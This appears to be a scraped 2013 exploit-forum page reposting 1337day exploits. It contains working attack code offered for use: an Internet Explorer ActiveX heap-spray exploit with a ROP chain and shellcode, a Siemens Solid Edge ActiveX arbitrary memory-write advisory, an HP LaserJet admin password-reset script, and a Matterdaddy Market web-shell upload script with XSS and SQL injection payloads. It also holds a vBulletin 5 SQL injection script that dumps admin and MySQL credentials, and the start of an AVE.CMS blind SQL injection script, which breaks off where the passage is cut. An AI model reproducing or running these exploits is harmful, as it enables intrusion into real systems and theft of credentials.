<body OnLoad="xploit();">
<div id="blah"></div>
<script language="javascript">
    var rop = "";
    var shellcode = "";
    var junk1 = '';
    var junk2 = '';
     
     
    function theMagicalMysteryTour()
    {
        rop = unescape("%u2230%u2030" +
                       /////////////////////////////////////////////
                       ///              STACK PIVOT              ///
                       /////////////////////////////////////////////
                       "%u370d%u7d20" +  // 0x7d20370d : # XCHG EAX,ESP # ADD DWORD PTR DS:[EAX],EAX # MOV EAX,EDI # POP EDI # POP ESI # POP EBP # RETN 0x04    ** [msi.dll] **   |  ascii
                       "%u4141%u4141" +
                       "%u0116%u7d2e" +  // 0x7d2e0116 :  # RETN    ** [msi.dll] **   |  ascii
                       "%u4141%u4141" +
                        
                       /////////////////////////////////////////////
                       /// ECX = lpOldProtect (ptr to W address) ///
                       /////////////////////////////////////////////
                       "%u1815%u7d21" +  // 0x7d211815 :  # POP ECX # RETN [msi.dll]
                       "%u4070%u7D3B" +  // 0x7D3B4070 :  # &Writable location [msi.dll]
                       /////////////////////////////////////////////
                       ///          EDX = NewProtect (0x40)      ///
                       /////////////////////////////////////////////
                       "%u9c86%u7d27" +  // 0x7d279c86 :  # POP EAX # RETN    ** [msi.dll]
                       "%uFFC0%uFFFF" +  // 0xFFFFFFBF
                       "%u66d7%u7d2e" +  // 0x7d2e66d7 :  # NEG EAX # RETN 0x04    ** [msi.dll]
                       "%u23dc%u7d20" +  // 0x7d2023dc :  # XCHG EAX,EDX # RETN    ** [msi.dll]
                       "%u4141%u4141" +
                       /////////////////////////////////////////////
                       ///               EBX = dwSize            ///
                       /////////////////////////////////////////////
                       "%u9c86%u7d27" +  // 0x7d279c86 :  # POP EAX # RETN    ** [msi.dll]
                       "%uFAFF%uFFFF" +  // 0xFFFFFAFF
                       "%u66d7%u7d2e" +  // 0x7d2e66d7 :  # NEG EAX # RETN 0x04    ** [msi.dll]
                       "%u29ac%u7d24" +  // 0x7d2429ac :  # XCHG EAX,EBX # OR EAX,14C48300 # POP EBP # RETN 0x08    ** [msi.dll]
                       "%u4141%u4141" +
                       "%u4141%u4141" +
                       "%u0116%u7d2e" +  // 0x7d2e0116 :  # RETN    ** [msi.dll] **   |  ascii
                       "%u4141%u4141" +
                       "%u4141%u4141" +
                       /////////////////////////////////////////////
                       ///     ESI = ptr to VirtualProtect()     ///
                       ///     EBP = ReturnTo (ptr to jmp esp)   ///
                       /////////////////////////////////////////////
                       "%u9c86%u7d27" +  // 0x7d279c86 :  # POP EAX # RETN    ** [msi.dll]
                       "%u1318%u6358" +  // 0x63581318 :  # ptr to VirtualProtect() [mshtml.dll]
                       "%uf84a%u7d3a" +  // 0x7d3af84a :  # MOV EAX,DWORD PTR DS:[EAX] # RETN    ** [msi.dll]
                       "%u0622%u7d36" +  // 0x7d360622 :  # PUSH EAX # POP ESI # POP EBP # RETN 0x04    ** [msi.dll]
                       "%ub275%u7d24" +  // 0x7d24b275 :  # jmp esp
                       /////////////////////////////////////////////
                       ///         EDI = ROP NOP (RETN)          ///
                       /////////////////////////////////////////////
                       "%u2669%u7d20" +  // 0x7d202669 :  # POP EDI # RETN    ** [msi.dll]
                       "%u4141%u4141" +
                       "%u0116%u7d2e" +  // 0x7d2e0116 :  # RETN    ** [msi.dll] **   |  ascii
                       /////////////////////////////////////////////
                       ///       EAX = NOP (0x90909090)          ///
                       /////////////////////////////////////////////
                       "%u9c86%u7d27" +  // 0x7d279c86 :  # POP EAX # RETN    ** [msi.dll]
                       "%u9090%u9090" +
                       /////////////////////////////////////////////
                       ///           PUSH IT & GET IT            ///
                       /////////////////////////////////////////////
                       "%uc08e%u7d27" +  // 0x7d27c08e :  # PUSHAD # RETN    ** [msi.dll]
                       "");
         
        // win32_exec -  EXITFUNC=seh CMD=c:\windows\system32\calc.exe Size=378
        shellcode = unescape("%u03eb%ueb59%ue805%ufff8%uffff%u4949%u4949%u4949" +
                          "%u4948%u4949%u4949%u4949%u4949%u4949%u5a51%u436a" +
                          "%u3058%u3142%u4250%u6b41%u4142%u4253%u4232%u3241" +
                          "%u4141%u4130%u5841%u3850%u4242%u4875%u6b69%u4d4c" +
                          "%u6338%u7574%u3350%u6730%u4c70%u734b%u5775%u6e4c" +
                          "%u636b%u454c%u6355%u3348%u5831%u6c6f%u704b%u774f" +
                          "%u6e68%u736b%u716f%u6530%u6a51%u724b%u4e69%u366b" +
                          "%u4e54%u456b%u4a51%u464e%u6b51%u4f70%u4c69%u6e6c" +
                          "%u5964%u7350%u5344%u5837%u7a41%u546a%u334d%u7831" +
                          "%u4842%u7a6b%u7754%u524b%u6674%u3444%u6244%u5955" +
                          "%u6e75%u416b%u364f%u4544%u6a51%u534b%u4c56%u464b" +
                          "%u726c%u4c6b%u534b%u376f%u636c%u6a31%u4e4b%u756b" +
                          "%u6c4c%u544b%u4841%u4d6b%u5159%u514c%u3434%u4a44" +
                          "%u3063%u6f31%u6230%u4e44%u716b%u5450%u4b70%u6b35" +
                          "%u5070%u4678%u6c6c%u634b%u4470%u4c4c%u444b%u3530" +
                          "%u6e4c%u6c4d%u614b%u5578%u6a58%u644b%u4e49%u6b6b" +
                          "%u6c30%u5770%u5770%u4770%u4c70%u704b%u4768%u714c" +
                          "%u444f%u6b71%u3346%u6650%u4f36%u4c79%u6e38%u4f63" +
                          "%u7130%u306b%u4150%u5878%u6c70%u534a%u5134%u334f" +
                          "%u4e58%u3978%u6d6e%u465a%u616e%u4b47%u694f%u6377" +
                          "%u4553%u336a%u726c%u3057%u5069%u626e%u7044%u736f" +
                          "%u4147%u4163%u504c%u4273%u3159%u5063%u6574%u7035" +
                          "%u546d%u6573%u3362%u306c%u4163%u7071%u536c%u6653" +
                          "%u314e%u7475%u7038%u7765%u4370");
    }
     
    function DEPS()
    {
        var div_container = document.getElementById("blah");
        div_container.style.cssText = "display:none";
        var data;
        offset = 0x104;
        junk = unescape("%u2020%u2020");
        while (junk.length < 0x1000) junk += junk;
         
        data = junk.substring(0,offset) + rop + shellcode
        data += junk.substring(0,0x800-offset-rop.length-shellcode.length);
 
        while (data.length < 0x80000) data += data;
     
        for (var i = 0; i < 0x450; i++)
        {
            var obj = document.createElement("button");
            obj.title = data.substring(0,0x40000-0x58);
            div_container.appendChild(obj);
        }
    }
     
    function xploit()
    {
        theMagicalMysteryTour();
        DEPS();
         
        // MOV EAX,DWORD PTR SS:[EBP-10];    the stack is overflowed, ebp-10 is put in eax then >>>>||
        // MOV ECX,DWORD PTR DS:[EAX];                                                              ||
        // CALL DWORD PTR DS:[ECX-4];         BOOOOOOOOOOOM                                     <<<<||
         
        EAX = "\x28\x22\x30\x20";  // 0x20302228  heap adress " Corelan "DEPS" - Precise heap spray "
         
        while (junk1.length < 189) junk1 += "\x41";
        while (junk2.length < 7000) junk2 += "\x41";
         
        var xploit = document.getElementById("xploit");
        xploit.ConnectToSynactis(junk1+EAX+junk2);
    }
     
</script>
</body>
</html>
SAS Integration Technologies
ID: 67686ba3b4103b69df379d71
Thread ID: 24230
Created: 2013-05-27T07:48:06+0000
Last Post: 2013-05-27T07:48:06+0000
Author: DarckSol
Prefix: DoS
Replies: 0 Views: 1K
SAS Integration Technologies Client ActiveX Stack BoF 0-day

3DB1CF6825A20958 1337day.com [2013-05-27] 0DD62E8C8A26E16B

Click to expand...

SIEMENS Solid Edge ST4 SEListCtrlX ActiveX
ID: 67686ba3b4103b69df379d72
Thread ID: 24229
Created: 2013-05-27T07:47:00+0000
Last Post: 2013-05-27T07:47:00+0000
Author: DarckSol
Prefix: DoS
Replies: 0 Views: 1K

SIEMENS Solid Edge ST4 SEListCtrlX ActiveX - SetItemReadOnly Arbitrary Memory Rewrite RCE

SIEMENS Solid Edge ST4 SEListCtrlX ActiveX Control SetItemReadOnly
Arbitrary Memory Rewrite Remote Code Execution Vulnerability

tested against: Microsoft Windows Server 2003 r2 sp2
Microsoft Windows XP sp3
Internet Explorer 7/8

software description: http://en.wikipedia.org/wiki/Solid_Edge

vendor site: http://www.siemens.com/entry/cc/en/

download url: [http://www.plm.automation.siemens.com/en_u...dge- student.cfm](http://www.plm.automation.siemens.com/en_us/products/velocity/forms/solid- edge-student.cfm)

file tested: SolidEdgeV104ENGLISH_32Bit.exe

background:

the mentioned software installs an ActiveX control with
the following settings:

ActiveX settings:
ProgID: SELISTCTRLX.SEListCtrlXCtrl.1
CLSID: {5D6A72E6-C12F-4C72-ABF3-32F6B70EBB0D}
binary path: C:\Program Files\Solid Edge ST4\Program\SEListCtrlX.ocx
Safe For Scripting (Registry): True
Safe For Initialization (Registry): True

Vulnerability:

This control exposes the SetItemReadOnly() method, see typelib:

...
/* DISPID=14 /
function SetItemReadOnly(
/
VT_VARIANT [12] / $hItem,
/
VT_BOOL [11] */ $bReadOnly
)
{
}
...

(i)
By setting to a memory address the first argument
and the second one to 'false' you can write a NULL
byte inside an arbitrary memory region.

(ii)
By setting to a memory address the first argument
and the second one to 'true' you can write a \x08
byte inside an arbitrary memory region.

Example crash:

EAX 61616161
ECX 0417AB44
EDX 01B7F530
EBX 0000000C
ESP 01B7F548
EBP 01B7F548
ESI 0417A930
EDI 027D5DD0 SEListCt.027D5DD0
EIP 033FD158 control.033FD158
C 0 ES 0023 32bit 0(FFFFFFFF)
P 1 CS 001B 32bit 0(FFFFFFFF)
A 0 SS 0023 32bit 0(FFFFFFFF)
Z 1 DS 0023 32bit 0(FFFFFFFF)
S 0 FS 003B 32bit 7FFD9000(4000)
T 0 GS 0000 NULL
D 0
O 0 LastErr ERROR_SUCCESS (00000000)
EFL 00010246 (NO,NB,E,BE,NS,PE,GE,LE)
ST0 empty -NAN FFFF FFFFFFFF FFFFFFFF
ST1 empty 3.3760355862290856960e-4932
ST2 empty +UNORM 48F4 00000000 00000000
ST3 empty -2.4061003025887744000e+130
ST4 empty -UNORM C198 00000000 00000000
ST5 empty 0.0
ST6 empty 1633771873.0000000000
ST7 empty 1633771873.0000000000
3 2 1 0 E S P U O Z D I
FST 4000 Cond 1 0 0 0 Err 0 0 0 0 0 0 0 0 (EQ)
FCW 027F Prec NEAR,53 Mask 1 1 1 1 1 1

Call stack of thread 000009B8
Address Stack Procedure / arguments Called from Frame
01B7F54C 027D5DF3 control.?SetItemReadOnly@SEListCtrl@@QAEXPAVSEListItem@@H@Z SEListCt.027D5DED 01B7F548
01B7F560 787FF820 Includes SEListCt.027D5DF3 mfc100u.787FF81E 01B7F55C
01B7F56C 78807BF5 mfc100u.787FF810 mfc100u.78807BF0 01B7F618
01B7F61C 78808312 ? mfc100u.78807A5B mfc100u.7880830D 01B7F618

vulnerable code, inside the close control.dll:
...

;------------------------------------------------------------------------------
Align 4
?SetItemReadOnly@SEListCtrl@@QAEXPAVSEListItem@@H@Z:
push ebp
mov ebp,esp
mov eax,[ebp+08h]
test eax,eax
jz L1011D15C
cmp dword ptr [ebp+0Ch],00000000h
jz L1011D158
or dword ptr [eax+2Ch],00000008h <-------------------- it crashes here
pop ebp
retn 0008h

;------------------------------------------------------------------------------
...

...

;------------------------------------------------------------------------------
L1011D158:
and dword ptr [eax+2Ch],FFFFFFF7h <-------------------- or here
L1011D15C:
pop ebp
retn 0008h

;------------------------------------------------------------------------------
...

As attachment, code to reproduce the crash.

Click to expand...

HP LaserJet Pro P1606dn
ID: 67686ba3b4103b69df379d73
Thread ID: 24228
Created: 2013-05-27T07:45:40+0000
Last Post: 2013-05-27T07:45:40+0000
Author: DarckSol
Prefix: Web
Replies: 0 Views: 1K

Code:Copy to clipboard

#!/usr/bin/python
# Exploit Title: HP LaserJet Pro P1606dn Webadmin password reset
# Date: 20.05.2013
# Exploit Author: m3tamantra (http://m3tamantra.wordpress.com/blog)
# Vendor Homepage: http://www8.hp.com/de/de/products/printers/product-detail.html?oid=4110411
# Firmware Date: 20100223
  
import urllib2
  
ip = '192.168.1.2' # Printer IP
  
req = urllib2.Request('http://'+ip+'/cgi-bin/ip_password_result.htm', data='ID_p+184=&ID_p+184=&Apply=%C3%9Cbernehmen')
req.add_header('Referer', 'http://'+ip+'/SSI/Auth/ip_password.htm')
req.add_header('User-Agent', 'Mozilla/5.0 (X11; Linux i686; rv:18.0) Gecko/20100101 Firefox/18.0 Iceweasel/18.0.1')
  
f = urllib2.urlopen(req)
if f.getcode() == 200:
    print 'Password reset successfully\nHave a nice day;-)'
else:
    print 'Exploit fail :'+f.getcode()
 
# 785470BF88170A7B   1337day.com [2013-05-27]   6714A124A556D8A6 #
Matterdaddy Market 1.4.2 Cross Site Request Forger
ID: 67686ba3b4103b69df379d74
Thread ID: 24220
Created: 2013-05-24T07:45:00+0000
Last Post: 2013-05-24T07:45:00+0000
Author: DarckSol
Prefix: Web
Replies: 0 Views: 1K

Matterdaddy Market version 1.4.2 and below suffers from cross site request forgery and arbitrary file upload vulnerabilities.

Click to expand...

Code:Copy to clipboard

# 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
# 0     _                   __           __       __                     1
# 1   /' \            __  /'__`\        /\ \__  /'__`\                   0
# 0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
# 1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
# 0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
# 1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
# 0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
# 1                  \ \____/ >> Exploit database separated by exploit   0
# 0                   \/___/          type (local, remote, DoS, etc.)    1
# 1                                                                      1
# 0  [+] Site            : 1337day.com                                   0
# 1  [+] Support e-mail  : submit[at]1337day.com                         1
# 0                                                                      0
# 1               #########################################              1
# 0               I'm KedAns-Dz member from Inj3ct0r Team                1
# 1               #########################################              0
# 0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1
  
###
# Title : Matterdaddy Market 1.4.2 <= (XSRF/FileUpload) Vulnerabilities
# Author : KedAns-Dz
# E-mail : ked-h (@hotmail.com / @1337day.com)
# Home : Hassi.Messaoud (30500) - Algeria
# Web Site : www.1337day.com
# FaCeb0ok : http://fb.me/Inj3ct0rK3d
# TwiTter : @kedans
# Friendly Sites : www.owasp-dz.org | owasp-dz.org/forum
# Type : php - proof of concept - webapp 0day - remote
# Tested on : Windows7 (Fr)
# Vendor : [http://market.matterdaddy.com]
###
 
# <3 <3 Greetings t0 Palestine <3 <3
# F-ck HaCking, Lov3 Explo8ting !
 
######## [ Proof / Exploit ] ################|=>

####[ (1) XSRF/HTML Injection ]=>

# http://127.0.0.1/market/index.php?q="><h1>Pene-Tested By : KedAns-Dz</h1>

# Demo : http://demo.opensourcecms.com/fbcmarket/index.php?q="><h1>Pene-Tested By : KedAns-Dz</h1>

####[ (2) File Upload .jpg ]=>

# go to : http://[target]/[path]/newItem.php?a=1
# add item info (title,name,price..etc) &..
# add u'r file (.jpg) and submited !
# Check your email and confirm u'r post;) :p

# or use this perl script ============>

#!/usr/bin/perl

use strict;
use warnings;
use LWP::UserAgent;
use HTTP::Request::Common;
print <<INTRO;
|====================================================|
|=   Matterdaddy Market 1.4.2 File Uploader Fuzzer   |
|=         >> Provided By KedAns-Dz <<               |
|=          e-mail : ked-h[at]hotmail.com            |
|====================================================|
INTRO
print "\n";
print "[!] Enter URL(f.e: http://target.com): ";
    chomp(my $url=<STDIN>);
print "\n";
print "[!] Enter File Path (f.e: C:\\Shell.php;.gif): "; # File Path For Upload (usage : C:\\Sh3ll.php;.gif)
    chomp(my $file=<STDIN>);
my $ua = LWP::UserAgent->new;
my $re = $ua->request(POST $url.'/controller.php?op=newItem',
        Content_Type => 'multipart/form-data',
        Content      =>
            [
        'md_title' => '1337day',
        'md_description' => 'Inj3ct0r Exploit Database',
        'md_price' => '0',
        'md_email2' => 'kedans@pene-test.dz', # put u'r email here !
        'city' => 'Hassi Messaoud',
        'namer' => 'KedAns-Dz',
        'category' => '4',
        'filetoupload' => $file,
    'filename' => 'k3dsh3ll.php;.jpg',
 # to make this exploit as sqli change file name to :
 # k3dsh3ll' [+ SQLi +].php.jpg
 # use temperdata better;)
        ] );
print "\n";
if($re->is_success) {
    if( index($re->content, "Disabled") != -1 ) { print "[+] Exploit Successfull! File Uploaded!\n"; }
    else { print "[!] Check your email and confirm u'r post! \n"; }
} else { print "[-] HTTP request Failed!\n"; }
exit;

####[ (3) SQL Injection ] ===>
# is Old 0day found by r4x0r4x (http://1337day.com/exploit/19635)
# p.o.c : /[path]/action.php?cp=1' [+ SQLi +]
# demo :
# http://www.avnv.us/classifieds/action.php?cp=1%27%20and%28select+1+from%28select+count%28*%29,concat%28%28select%20concat%28%27%3E%3E%27,version%28%29,%27%3C%3C%27%29%29,floor%28rand%280%29*2%29%29x+from+information_schema.tables+group+by+x%29a%29%20--%20-

# google d0rk : intext:"Powered by Matterdaddy" 

#================[ Exploited By KedAns-Dz * Inj3ct0r Team * ]===============================================
# Greets To : Dz Offenders Cr3w < Algerians HaCkerS > | Indoushka , Caddy-Dz , Kalashinkov3 , Mennouchi.Islem
# Jago-dz , Over-X , Kha&miX , Ev!LsCr!pT_Dz, KinG Of PiraTeS, TrOoN, T0xic, Chevr0sky, Black-ID, Barbaros-DZ,
# +> Greets To Inj3ct0r Operators Team : r0073r * Sid3^effectS * r4dc0re (1337day.com) * CrosS (r00tw0rm.com)
# Inj3ct0r Members 31337 : KedAns ^^ * KnocKout * SeeMe * Kalashinkov3 * ZoRLu * anT!-Tr0J4n * Angel Injection
# NuxbieCyber (www.1337day.com/team) * Dz Offenders Cr3w * Algerian Cyber Army * xDZx * HD Moore * YMCMB ..all
# Exploit-ID Team : jos_ali_joe + kaMtiEz + r3m1ck (exploit-id.com) * Milw0rm * KeyStr0ke * JF * L3b-r1Z * HMD
# packetstormsecurity.org * metasploit.com * r00tw0rm.com * OWASP Dz * B.N.T * All Security and Exploits Webs
#============================================================================================================
vBulletin 5b SQL Injection
ID: 67686ba3b4103b69df379d75
Thread ID: 24219
Created: 2013-05-24T07:42:03+0000
Last Post: 2013-05-24T07:42:03+0000
Author: DarckSol
Prefix: Web
Replies: 0 Views: 1K

This is an SQL Injection proof of concept that will display information about the vBulletin software and the admin details from the database. It can be adjusted to read any part of the database.

Click to expand...

Code:Copy to clipboard

#!/usr/bin/perl
###################################################################################
#                                                           Satuday, March 30, 2013
#
#
#
#                    _  _  .__                .__               
#                 __| || |_|  |   ____   ____ |__| ____   ____  
#                 \   __   /  | _/ __ \ / ___\|  |/  _ \ /    \ 
#                  |  ||  ||  |_\  ___// /_/  >  (  <_> )   |  \
#                 /_  ~~  _\____/\___  >___  /|__|\____/|___|  /
#                   |_||_|           \/_____/                \/
#                                    http://www.zempirians.com
#
#          00100011 01101100 01100101 01100111 01101001 01101111 01101110
#
#
#      
#                       [P]roof [o]f [C]oncept, SQL Injection
#     vBulletin™ is the world leader in forum and community publishing software.
#
#
#
###################################################################################
#                                                           #      T E A M        #
#                                                           #######################
#
# UberLame .......> Provided all proper payloads
# Stealth ........> Thanks;)
#
###################################################################################
#  SUMMARY     #
################
# 
# http://target/vb5/index.php/ajax/api/reputation/vote?nodeid=[SQLi]
#
# Database error in vBulletin 5.0.0 Beta 28:
# MySQL Error   : Duplicate entry '#5.1.67#1' for key 'group_key'
# Error Number  : 1062
# Request Date  : Saturday, March 30th 2013 @ 01:13:40 AM
# Error Date    : Saturday, March 30th 2013 @ 01:13:41 AM
# Script        : http:\/\/\/vb5\/index.php\/ajax\/api\/reputation\/vote
#
################
#  VULNERABLE  #
################
#
#  vBulletin 5 beta [ALL] - http://vbulletin.com
#
################
#  CONFIRMED   #
################
#
#  vBulletin 5 beta 17
#  vBulletin 5 beta 28
#
################
#  CVE         #
################
#
#  There is no CVE reported.
#
################
#  PATCH       #
################
#
#  There is no PATCH available.
#
###################################################################################
#                          #                     #
#                          #    H O W - T O      #
#                          #                     #
#                          #######################
#
# Provide the Target: Server, Folder, User, Password, Number and the script will
# login and deliver the payload...
#
# [!USE/]$ ./<file>.pl http://<target>/ <vb5_folder>/ <username> <password> <num>
#
###################################################################################
use LWP::UserAgent;
use HTTP::Cookies;
use HTTP::Request::Common;
use MIME::Base64;
system $^O eq 'MSWin32' ? 'cls' : 'clear';
print "
###############################################################################
#'########:'########:'##::::'##::::::::'##::::'########:::'#######:::'######::#
#..... ##:: ##.....:: ###::'###::::::::. ##::: ##.... ##:'##.... ##:'##... ##:#
#:::: ##::: ##::::::: ####'####:'#####::. ##:: ##:::: ##: ##:::: ##: ##:::..::#
#::: ##:::: ######::: ## ### ##:.....::::. ##: ########:: ##:::: ##: ##:::::::#
#:: ##::::: ##...:::: ##. #: ##:'#####::: ##:: ##.....::: ##:::: ##: ##:::::::#
#: ##:::::: ##::::::: ##:.:: ##:.....::: ##::: ##:::::::: ##:::: ##: ##::: ##:#
# ########: ########: ##:::: ##:::::::: ##:::: ##::::::::. #######::. ######::#
#........::........::..:::::..:::::::::..:::::..::::::::::.......::::......:::#
###############################################################################

[?] Homepage: http://www.zempirians.com
[?] Binary: 00100011 01101100 01100101 01100111 01101001 01101111 01101110
[?] Effected: vBulletin 5 Beta XX SQLi 0day
[?] Irc Server: irc.zempirians.com +6697

";
if (@ARGV != 5) {
    print "\r\nUsage: perl file.pl www.target.com/ vb5/ username password magicnum\r\n";
    print "\r\n";
    exit;
}
$host        = $ARGV[0];
$path        = $ARGV[1];
$username    = $ARGV[2];
$password    = $ARGV[3];
$magicnum    = $ARGV[4];
$encpath     = encode_base64('http://'.$host.$path);

print "\n";
print "[+] Establishing connection and logging in\n";

my $browser = LWP::UserAgent->new;
my $cookie_jar = HTTP::Cookies->new;

my $response = $browser->post( 'http://'.$host.$path.'auth/login',
    [
        'url' => $encpath,
        'username' => $username,
        'password' => $password,
    ],
    Referer => 'http://'.$host.$path.'auth/login-form?url=http://'.$host.$path.'',
    User-Agent => 'Mozilla/11.01 (Lanows MB 9.1; rv:13.37) Gecko/20200101 Firefox/13.37',
);

$browser->cookie_jar( $cookie_jar );

print "[+] Send payload [ 1 of 4 ]\n";
my $response = $browser->post( 'http://'.$host.$path.'index.php/ajax/api/reputation/vote',
    [
        'nodeid' => $magicnum.') and(select 1 from(select count(*),concat((select (select concat(0x23,cast(version() as char),0x23)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) AND (1338=1338',
    ],
    User-Agent => 'Mozilla/11.01 (Lanows MB 9.1; rv:13.37) Gecko/20200101 Firefox/13.37',
);
$dataA = $response->content;
  if ($dataA =~ /(#((\\.)|[^\\#])*#)/) {
                $fixversion = $1;
                $fixversion =~ s/\#//g;
                 $fixvb = substr($dataA, 58, 23);
   };

my $response = $browser->post( 'http://'.$host.$path.'index.php/ajax/api/reputation/vote',
    [
       'nodeid' => $magicnum.') and(select 1 from(select count(*),concat((select (select concat(0x23,cast(schema() as char),0x23)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) AND (1338=1338',
    ],
    User-Agent => 'Mozilla/11.01 (Lanows MB 9.1; rv:13.37) Gecko/20200101 Firefox/13.37',
);
$dataAB = $response->content;
        if ($dataAB =~ /(#((\\.)|[^\\#])*#)/) {
                $fixvbdb = $1;
                 $fixvbdb =~ s/\#//g;
        };


print '[+] Recv payload [ SQL Version: '. $fixversion .', running '. $fixvb .', database '. $fixvbdb .' ]';
print "\n";

print "[+] Send payload [ 2 of 4 ]\n";
my $response = $browser->post( 'http://'.$host.$path.'index.php/ajax/api/reputation/vote',
    [
       'nodeid' => $magicnum.') and(select 1 from(select count(*),concat((select (select concat(0x23,cast(user() as char),0x23)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and (1338=1338',
    ],
    User-Agent => 'Mozilla/11.01 (Lanows MB 9.1; rv:13.37) Gecko/20200101 Firefox/13.37',
);
$dataB = $response->content;
  if ($dataB =~ /(#((\\.)|[^\\#])*#)/) {
    $fixuserhost = $1;
    $fixuserhost =~ s/\#//g;
    print '[+] Recv payload [ Forum is running as '. $fixuserhost .' ]';
  };
print "\n";

print "[+] Send payload [ 3 of 4 ]\n";

my $response = $browser->post( 'http://'.$host.$path.'index.php/ajax/api/reputation/vote',
    [
       'nodeid' => $magicnum.') and(select 1 from(select count(*),concat((select (select concat(0x23,cast((select username from '. $fixvbdb .'.user limit 0,1) as char),0x23)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and (1338=1338',
    ],
    User-Agent => 'Mozilla/11.01 (Lanows MB 9.1; rv:13.37) Gecko/20200101 Firefox/13.37',
);

$dataC = $response->content;
        if ($dataC =~ /(#((\\.)|[^\\#])*#)/) {
                $fixvbuser = $1;
                $fixvbuser =~ s/\#//g;
  };


my $response = $browser->post( 'http://'.$host.$path.'index.php/ajax/api/reputation/vote',
    [
       'nodeid' => $magicnum.') and(select 1 from(select count(*),concat((select (select concat(0x23,cast((select password from '. $fixvbdb .'.user limit 0,1) as char),0x23)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and (1338=1338',
    ],
    User-Agent => 'Mozilla/11.01 (Lanows MB 9.1; rv:13.37) Gecko/20200101 Firefox/13.37',
);

$dataD = $response->content;
        if ($dataD =~ /(#((\\.)|[^\\#])*#)/) {
                $fixvbpass = $1;
                $fixvbpass =~ s/\#//g;
        };


my $response = $browser->post( 'http://'.$host.$path.'index.php/ajax/api/reputation/vote',
    [
       'nodeid' => $magicnum.') and(select 1 from(select count(*),concat((select (select concat(0x23,cast((select salt from '. $fixvbdb .'.user limit 0,1) as char),0x23)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and (1338=1338',
    ],
    User-Agent => 'Mozilla/11.01 (Lanows MB 9.1; rv:13.37) Gecko/20200101 Firefox/13.37',
);

$dataE = $response->content;
        if ($dataE =~ /(#((\\.)|[^\\#])*#)/) {
                $fixvbsalt = $1;
                $fixvbsalt =~ s/\#//g;
        };


print '[+] Recv payload [ VB5 User: '. $fixvbuser . ', Pass: '. $fixvbpass .', Salt: '. $fixvbsalt .' ]';
print "\n";

print "[+] Send payload [ 4 of 4 ]\n";

my $response = $browser->post( 'http://'.$host.$path.'index.php/ajax/api/reputation/vote',
    [
       'nodeid' => $magicnum.') and(select 1 from(select count(*),concat((select (select concat(0x23,cast((select user from mysql.user limit 0,1) as char),0x23)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and (1338=1338',
    ],
    User-Agent => 'Mozilla/11.01 (Lanows MB 9.1; rv:13.37) Gecko/20200101 Firefox/13.37',
);

$dataF = $response->content;
        if ($dataF =~ /(#((\\.)|[^\\#])*#)/) {
                $fixsqluser = $1;
                $fixsqluser =~ s/\#//g;
        };

my $response = $browser->post( 'http://'.$host.$path.'index.php/ajax/api/reputation/vote',
    [
       'nodeid' => $magicnum.') and(select 1 from(select count(*),concat((select (select concat(0x23,cast((select password from mysql.user limit 0,1) as char),0x23)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and (1338=1338',
    ],
    User-Agent => 'Mozilla/11.01 (Lanows MB 9.1; rv:13.37) Gecko/20200101 Firefox/13.37',
);

$dataG = $response->content;
        if ($dataG =~ /(#((\\.)|[^\\#])*#)/) {
                $fixsqlpass = $1;
                $fixsqlpass =~ s/\#//g;
        };

my $response = $browser->post( 'http://'.$host.$path.'index.php/ajax/api/reputation/vote',
    [
       'nodeid' => $magicnum.') and(select 1 from(select count(*),concat((select (select concat(0x23,cast((select host from mysql.user limit 0,1) as char),0x23)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and (1338=1338',
    ],
    User-Agent => 'Mozilla/11.01 (Lanows MB 9.1; rv:13.37) Gecko/20200101 Firefox/13.37',
);

$dataH = $response->content;
        if ($dataH =~ /(#((\\.)|[^\\#])*#)/) {
                 $fixsqlhost = $1;
                $fixsqlhost =~ s/\#//g;
        };


print '[+] Recv payload [ SQL User: '. $fixsqluser . ', Pass: '. $fixsqlpass .', Host: ' . $fixsqlhost .' ]';

#print "\n\n[?] Error dump - payload 1\n\n";
#print $dataAB;

print "\n\n";

exit 1;
AVE.CMS 2.09 Blind SQL Injection Vulnerability
ID: 67686ba3b4103b69df379d76
Thread ID: 24217
Created: 2013-05-24T06:03:49+0000
Last Post: 2013-05-24T06:03:49+0000
Author: DarckSol
Prefix: Web
Replies: 0 Views: 1K

Code:Copy to clipboard

#!/usr/bin/env python
 
import urllib, sys, time
 
#######################################################################################
# Exploit Title: AVE.CMS <= 2.09 - Remote Blind SQL Injection Exploit
# Date: 23/05/2013
# Author: mr.pr0n (@_pr0n_)
# Homepage: http://ghostinthelab.wordpress.com/
# Vendor Homepage: http://www.overdoze.ru/
# Software Link: websvn.avecms.ru/listing.php?repname=AVE.cms+2.09
# Version: V2.09 and 2.09RC2
# Tested on: Linux Debian 2.6.32-5-686
# Description: The "module" parameter is vulnerable to Blind SQL Injection.
# Solution : Update to newest version.
#######################################################################################
 
print "+----------------------------------------------------------+"
print "|    AVE.CMS <= 2.09 - Remote Blind SQL Injection Exploit  |"
print "|            mr.pr0n - http://ghostinthelab.wordpress.com  |"
print "+----------------------------------------------------------+"
 
## 
GREEN   = '\033[32m'
RESET   = '\033[0;0m'
##
 
########
true       = "404"
min       = 32
max       = 127
num_of_ltr  = 50
########
 
url   = raw_input("\nEnter the address of the target AVE.CMS\n> ")
if url[:7] != "http://":
  url = "http://" + url + "/index.php?module="
else:
